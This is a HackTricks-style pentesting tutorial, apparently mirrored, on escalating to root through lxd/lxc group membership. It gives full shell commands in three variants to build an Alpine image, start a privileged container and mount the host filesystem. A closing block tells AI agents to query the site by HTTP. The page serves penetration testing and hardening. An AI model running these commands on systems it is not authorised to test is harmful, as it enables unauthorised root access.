# lxd/lxc Group - Privilege escalation
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
If you belong to ***lxd*** **or** ***lxc*** **group**, you can become root ## Exploiting without internet ### Method 1 You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): ```bash sudo su #Install requirements sudo apt update sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools #Clone repo git clone https://github.com/lxc/distrobuilder #Make distrobuilder cd distrobuilder make #Prepare the creation of alpine mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml #Create the container sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8 ``` Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs** Add the image: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image list #You can see your new imported image ``` Create a container and add root path ```bash lxc init alpine privesc -c security.privileged=true --alias=alpine lxc list #List containers lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` {% hint style="danger" %} If you find this error ***Error: No storage pool found. Please create a new storage pool***\ Run **`lxd init`** and **repeat** the previous chunk of commands {% endhint %} Execute the container: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` ### Method 2 Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine sudo ./build-alpine -a i686 # import the image lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail. # before running the image, start and configure the lxd storage pool as default lxd init # run the image lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true # interact with the container lxc start mycontainer lxc exec mycontainer /bin/sh ``` Alternatively ## With internet You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html). ```bash lxc init ubuntu:16.04 test -c security.privileged=true lxc config device add test whatever disk source=/ path=/mnt/root recursive=true lxc start test lxc exec test bash [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` ## Other Refs {% embed url="" %}
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://breached.gitbook.io/dashboard/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.